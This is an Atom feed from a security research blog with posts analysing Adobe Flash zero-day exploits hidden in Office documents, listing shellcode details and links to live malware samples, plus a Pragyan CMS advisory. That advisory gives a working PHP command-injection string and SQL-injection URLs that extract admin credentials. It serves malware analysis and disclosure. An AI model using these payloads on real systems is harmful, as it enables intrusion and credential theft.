<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3955802477964832585</id><updated>2012-01-23T13:43:43.098+02:00</updated><category term='Exploits'/><category term='CVE-2010-3654'/><category term='CVE-2010-0188'/><category term='CVE-2010-2883'/><category term='CVE-2010-3765'/><category term='CVE-2011-0611'/><category term='APSA10-05'/><category term='CVE-2011-0609'/><title type='text'>BugiX - Security Research</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>9</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-517573903654346932</id><published>2011-04-12T23:55:00.003+03:00</published><updated>2011-04-13T00:02:27.386+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2011-0611'/><title type='text'>CVE-2011-0611 Adobe Flash Zero Day embeded in DOC</title><content type='html'>information about new zero day in adobe flash player :&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3955802477964832585&amp;amp;postID=517573903654346932"&gt; &lt;/a&gt;&lt;a href="http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html"&gt;http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-pX22RYa1Ys8/TaSGtznuybI/AAAAAAAAAK0/7b8Z95aKZ5M/s1600/doc1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3955802477964832585&amp;amp;postID=517573903654346932"&gt;&lt;/a&gt;&lt;a href="http://www.adobe.com/support/security/advisories/apsa11-02.html"&gt;http://www.adobe.com/support/security/advisories/apsa11-02.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Filename: &lt;b&gt;Disentangling Industrial Policy and Competition Policy.doc&lt;/b&gt;&lt;br /&gt;Size:176,144 bytes &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My analysis of&amp;nbsp; &lt;b&gt;Disentangling Industrial Policy and Competition Policy.doc&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&lt;a href="http://1.bp.blogspot.com/-pX22RYa1Ys8/TaSGtznuybI/AAAAAAAAAK0/7b8Z95aKZ5M/s1600/doc1.PNG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-pX22RYa1Ys8/TaSGtznuybI/AAAAAAAAAK0/7b8Z95aKZ5M/s1600/doc1.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;File created 04-Apr-2011 9:50 , by user 7 , and company hust&lt;br /&gt;&lt;br /&gt;There are no vulnerabilities in MS Office, there is a vulnerability in embeded swf as was described below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;embeded swf file(local name d:\513.swf)&lt;br /&gt;size 10,421 bytes&lt;br /&gt;&lt;a href="http://pastebin.com/DkQThUUY"&gt;decoded action&amp;nbsp; script&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-yqlp8rf01_4/TaSIdL-F4YI/AAAAAAAAAK4/zxmeCgoySuI/s1600/swf1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-yqlp8rf01_4/TaSIdL-F4YI/AAAAAAAAAK4/zxmeCgoySuI/s1600/swf1.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;this is heap spray, allocate memory with nop slide=0x11111111.&lt;br /&gt;and load second swf file.&lt;br /&gt;&lt;br /&gt;second swf&lt;br /&gt;size 1,484 bytes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;SWFTools&amp;gt;swfdump.exe -D 1.swf&lt;/i&gt;&lt;br /&gt;[HEADER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; File version: 10&lt;br /&gt;[HEADER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; File size: 1484&lt;br /&gt;[HEADER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Frame rate: 24.000000&lt;br /&gt;[HEADER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Frame count: 1&lt;br /&gt;[HEADER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Movie width: 550.00&lt;br /&gt;[HEADER]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Movie height: 400.00&lt;br /&gt;[045]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4 FILEATTRIBUTES&lt;br /&gt;[00c]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1447 DOACTION&lt;br /&gt;GetU8() out of bounds: TagID = 12&lt;br /&gt;&lt;br /&gt;&lt;i&gt;flasm16win&amp;gt;flasm.exe -d 1.swf&lt;/i&gt;&lt;br /&gt;movie '1.swf' // flash 10, total frames: 1, frame rate: 24 fps, 550x400 px&lt;br /&gt;frame 0&lt;br /&gt;00000000&amp;nbsp;&amp;nbsp;&amp;nbsp; push FALSE, 326943637, 326943739&lt;br /&gt;0000000F&amp;nbsp;&amp;nbsp;&amp;nbsp; oldEquals&lt;br /&gt;00000010&amp;nbsp;&amp;nbsp;&amp;nbsp; not&lt;br /&gt;00000011&amp;nbsp;&amp;nbsp;&amp;nbsp; branchIfTrue label2 // offset 1100&lt;br /&gt;00000016&amp;nbsp;&amp;nbsp;&amp;nbsp; branchIfTrue label1 // offset 24&lt;br /&gt;0000001B&amp;nbsp;&amp;nbsp;&amp;nbsp; constants 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I'&amp;nbsp; Declared constant pool length 21 differs from calculated length 20&lt;br /&gt;&lt;br /&gt;Disassembly may be incomplete: wrong action length encountered&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end // of frame 0&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;crash exist in Adobe Flash Player plugin .&lt;br /&gt;in my test NPSWF32.dll (10.2.153.1) &lt;br /&gt;crash at location &lt;b&gt;100cfc03&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-WcOzmfkDH_c/TaSRNRTF1mI/AAAAAAAAAK8/_sccIk055C8/s1600/crash1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-WcOzmfkDH_c/TaSRNRTF1mI/AAAAAAAAAK8/_sccIk055C8/s1600/crash1.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;this possibly related to tweet :&lt;br /&gt;&lt;div class="tweet-row"&gt;&lt;span class="tweet-user-name"&gt;   &lt;a class="tweet-screen-name user-profile-link" data-user-id="208400472" href="http://twitter.com/#%21/yuange1975" title="Yuange"&gt;yuange1975&lt;/a&gt;   &lt;span class="tweet-full-name"&gt;Yuange&lt;/span&gt; &lt;/span&gt;       &lt;br /&gt;&lt;div class="tweet-corner"&gt;&lt;div class="tweet-meta"&gt;&lt;span class="icons"&gt;           &lt;/span&gt;&lt;br /&gt;&lt;div class="extra-icons"&gt;&lt;span class="icons"&gt;&lt;span class="inlinemedia-icons"&gt;&lt;/span&gt;       &lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="tweet-row"&gt;&lt;div class="tweet-text"&gt;call [0x11111110+0x08]&lt;/div&gt;&lt;/div&gt;&lt;div class="tweet-row"&gt;&lt;a class="tweet-timestamp" href="http://twitter.com/#%21/yuange1975/status/55864987553501184" title="8:30 AM Apr 7th"&gt;&lt;span class="_timestamp" data-long-form="true" data-time="1302154225000"&gt;7 Apr&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="_timestamp" data-long-form="true" data-time="1302154225000"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="_timestamp" data-long-form="true" data-time="1302154225000"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="tweet-row"&gt;&lt;/div&gt;&lt;div class="tweet-row"&gt;&lt;span class="tweet-actions" data-tweet-id="55864987553501184"&gt;to be continue ... &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-517573903654346932?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/517573903654346932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/517573903654346932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/517573903654346932'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' title='CVE-2011-0611 Adobe Flash Zero Day embeded in DOC'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-pX22RYa1Ys8/TaSGtznuybI/AAAAAAAAAK0/7b8Z95aKZ5M/s72-c/doc1.PNG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-7547596747107543445</id><published>2011-03-15T16:32:00.021+02:00</published><updated>2011-03-24T22:29:18.659+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2011-0609'/><title type='text'>CVE-2011-0609 - Adobe Flash Player ZeroDay</title><content type='html'>First information about new zero day in adobe flash player was published 03/11/2010 at&lt;br /&gt;&lt;a href="https://www.kidinhisroom.com/?q=content/us-cert-ewin-early-warning-indicator-new-adobe-flash-0-day-exploit"&gt;https://www.kidinhisroom.com/?q=content/us-cert-ewin-early-warning-indicator-new-adobe-flash-0-day-exploit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then after 3 days &lt;b&gt;&lt;/b&gt;Adobe confirmed bug and released advisory&lt;br /&gt;&lt;a href="http://www.adobe.com/support/security/advisories/apsa11-01.html"&gt;http://www.adobe.com/support/security/advisories/apsa11-01.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Filename: crsenvironscan.xls&lt;br /&gt;Size:126,444 bytes &lt;br /&gt;MD5 Hash: 4BB64C1DA2F73DA11F331A96D55D63E2&lt;br /&gt;&lt;br /&gt;My analysis of&amp;nbsp; crsenvironscan.xls&lt;br /&gt;There are no vulnerabilities in MS Office, there is a vulnerability in embeded swf as was described below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1) There are embeded swf&lt;br /&gt;(target file name f:\sm.swf)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-ZtYJp81hEuA/TX7vAkUbsRI/AAAAAAAAAJ0/LeoxEW8NNLo/s1600/5a.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="81" src="https://lh4.googleusercontent.com/-ZtYJp81hEuA/TX7vAkUbsRI/AAAAAAAAAJ0/LeoxEW8NNLo/s400/5a.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;This swf provide heap spray and then load second swf&lt;br /&gt;&lt;b&gt;&lt;a href="http://pastebin.com/UscAZvCV"&gt;view source code&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh3.googleusercontent.com/-ZxhnuMg5lTU/TX98f8kAAtI/AAAAAAAAB6k/C4lsc4qRbuM/s1600/sc+-+Copy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="375" src="https://lh3.googleusercontent.com/-ZxhnuMg5lTU/TX98f8kAAtI/AAAAAAAAB6k/C4lsc4qRbuM/s400/sc+-+Copy.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;it allocates memory&lt;br /&gt;NOP Slide =14141414&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh5.googleusercontent.com/-lJp7GUNjqDw/TX7wTNhmytI/AAAAAAAAAJ4/se2iRDt6xm0/s1600/4a.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="279" src="https://lh5.googleusercontent.com/-lJp7GUNjqDw/TX7wTNhmytI/AAAAAAAAAJ4/se2iRDt6xm0/s320/4a.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;then loads second swf.&lt;br /&gt;&lt;br /&gt;2) second.swf consist bug&lt;br /&gt;&lt;br /&gt;File created possibly by using a fuzzer from&lt;br /&gt;&lt;br /&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;a href="http://www.snorkl.tv/snorklpress/wp-content/uploads/2011/01/addLabel.swf"&gt;addLabel.swf&lt;/a&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;looks like there are bugs exist when flash player attempts to parse a swf file.&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;&lt;i&gt;Unknown opcode 152.&lt;br /&gt;Unknown opcode 84.&lt;/i&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;(detailed analysis will be provided soon) &lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;3) Shellcode&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;this is EmbededExec shellcode,not encrypted.&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;&lt;b&gt;&lt;a href="http://pastebin.com/F2wbQFbm"&gt;decompiled shellcode&lt;/a&gt; &lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-AXpSymzZLiE/TX99IJ2YkSI/AAAAAAAAB6o/6uLquu7ZHJ0/s1600/aass+-+Copy.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="295" src="https://lh4.googleusercontent.com/-AXpSymzZLiE/TX99IJ2YkSI/AAAAAAAAB6o/6uLquu7ZHJ0/s400/aass+-+Copy.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;Shellcode search for exe between&lt;/pre&gt;&lt;pre id="line74" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;       cmp     dword ptr [eax], 47422E43h&lt;br /&gt;       cmp     dword ptr [eax+4], 19890604h&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;hex code "&lt;b&gt;432e424704068919" &lt;/b&gt;and&lt;/pre&gt;&lt;pre id="line74" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;      cmp     dword ptr [eax], 4B635546h&lt;br /&gt;      cmp     dword ptr [eax+4], 19820424h&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;hex code "&lt;b&gt;4655634b24048219"&lt;/b&gt;&lt;/pre&gt;&lt;br /&gt;if point view on this&lt;br /&gt;as for me, that looks like some string and date&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;C.GB&amp;nbsp; 1989/06/04&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&amp;nbsp; -&amp;nbsp; it may mean&lt;span class="long-title" dir="ltr" id="eow-title" title="1989-06-04 Tiananmen, Beijing, China 一九八九年六四事件"&gt; &lt;a href="http://www.youtube.com/watch?v=rCfhf7JYS2s%20%20"&gt;1989-06-04 Tiananmen, Beijing, China&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://news.bbc.co.uk/onthisday/hi/dates/stories/june/4/newsid_2496000/2496277.stm"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;br /&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;FucK 1982/04/24&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&amp;nbsp; - ? &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;a href="http://www.youtube.com/watch?v=rCfhf7JYS2s"&gt; &lt;/a&gt;&lt;br /&gt;If you have any ideas, post in comments&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;Encryption of exe is interesting. &lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;First 4 bytes of exe header writed from shellcode&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;then encrypted date decrypts using this algo&lt;/pre&gt;&lt;pre id="line74"&gt;&amp;nbsp;where eax - size of exe&lt;/pre&gt;&lt;pre id="line74"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;decrypt: &lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;       xor     [ebx], al&lt;br /&gt;       inc     ebx&lt;br /&gt;       dec     eax&lt;br /&gt;       inc     ebx&lt;br /&gt;       dec     eax&lt;br /&gt;       cmp     eax, 0&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;       jmp  decrypt&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;This is for the first time I see such encryption in exploits found in the wild.&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;This is used to bypass scanners, which searches for the exe header.&lt;/pre&gt;&lt;pre id="line74"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;span style="font-family: inherit;"&gt;4) Exe&lt;/span&gt; &lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;a.exe&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;size 46,048 bytes&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;MD5: 1e09970c9bf2ca08ee48f8b2e24f6c44&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;&lt;a href="https://sites.google.com/site/villys777/cve-2011-0609/a.exe.rar?attredirects=0&amp;amp;d=1"&gt;Download &lt;/a&gt;&lt;/b&gt;&lt;b&gt;&lt;a href="https://sites.google.com/site/villys777/cve-2011-0609/a.exe.rar?attredirects=0&amp;amp;d=1"&gt;Payload File &lt;/a&gt;&amp;nbsp; a.exe&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;pass: infected&lt;/b&gt;&lt;b&gt; &amp;nbsp;&lt;a href="http://www.virustotal.com/file-scan/report.html?id=62db3743cc62c66a4b8806d8fe23966472b9841b7d91e9025f474990bd88cc89-1300200408%20"&gt;Virustotal &lt;span style="color: red;"&gt;0/43&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/pre&gt;&lt;pre id="line74" style="font-family: inherit;"&gt;Information from PEiD &lt;b&gt;InstallShield AFW [CAB SFX]&lt;/b&gt;&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-PMMMrYQpMts/TX96HYTT82I/AAAAAAAAAJ8/lvfPmSTg03k/s1600/6a.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="285" src="https://lh4.googleusercontent.com/-PMMMrYQpMts/TX96HYTT82I/AAAAAAAAAJ8/lvfPmSTg03k/s400/6a.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre id="line74"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;br /&gt;Sample download link&lt;br /&gt;&lt;a href="https://sites.google.com/site/villys777/crsenvironscan.zip"&gt;https://sites.google.com/site/villys777/crsenvironscan.zip&lt;/a&gt;&lt;br /&gt;password : &lt;b&gt;infected&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Other samples you can get from Mila Parkour site:&lt;br /&gt;&lt;a href="http://contagiodump.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html"&gt;http://contagiodump.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/file-scan/report.html?id=510c88b1c533ec1d4fd58031f578cdceee2d65d208215db0b7b9a416643926c0-1300197783"&gt;&lt;/a&gt;&lt;br /&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;pre id="line74"&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3955802477964832585-7547596747107543445?l=bugix-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bugix-security.blogspot.com/feeds/7547596747107543445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/7547596747107543445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3955802477964832585/posts/default/7547596747107543445'/><link rel='alternate' type='text/html' href='http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html' title='CVE-2011-0609 - Adobe Flash Player ZeroDay'/><author><name>villy</name><uri>http://www.blogger.com/profile/02707883954578950776</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh4.googleusercontent.com/-ZtYJp81hEuA/TX7vAkUbsRI/AAAAAAAAAJ0/LeoxEW8NNLo/s72-c/5a.PNG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3955802477964832585.post-510473126807797656</id><published>2011-02-25T02:01:00.014+02:00</published><updated>2011-02-25T13:59:54.039+02:00</updated><title type='text'>Pragyan CMS Multiple Vulnerabilities</title><content type='html'>&lt;div style="font-family: inherit;"&gt;&lt;b&gt;Affected Software&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;Pragyan CMS&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;Product Link: &lt;a href="http://sourceforge.net/projects/pragyan/"&gt;http://sourceforge.net/projects/pragyan/&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-weight: bold;"&gt;Technical Description&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;1) Code execution in INSTALL/install.php&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;script not correctly validate entered fields.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;possibly write at password field string:&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-weight: bold;"&gt;");echo exec($_GET["a"]);echo ("&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;or in another fields with turned of javascript.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;in cms/config.inc.php will be code:&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-weight: bold;"&gt;define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo ("");&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;which allow command execution.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;2) sql injection&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;- get mysql version&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-style: italic;"&gt;http://host/+view&amp;amp;thread_id=-1 UNION ALL SELECT null,null,null,null,concat(unhex(Hex(cast(@@version as char)))),null,null,null--&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;- get admin account&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-style: italic;"&gt;http://host/+view&amp;amp;thread_id=-1 UNION ALL SELECT null,null,null,null,(SELECT concat(0x7e,0x27,unhex(Hex(cast(pragyanV3_users.user_id as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_name as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_email as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_password as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_fullname as char))),0x27,0x7e) FROM `pragyan11`.pragyanV3_users LIMIT 0,1),null,null,null--&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span style="font-weight: bold;"&gt;Solution&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;update to Pragyan CMS 3.0 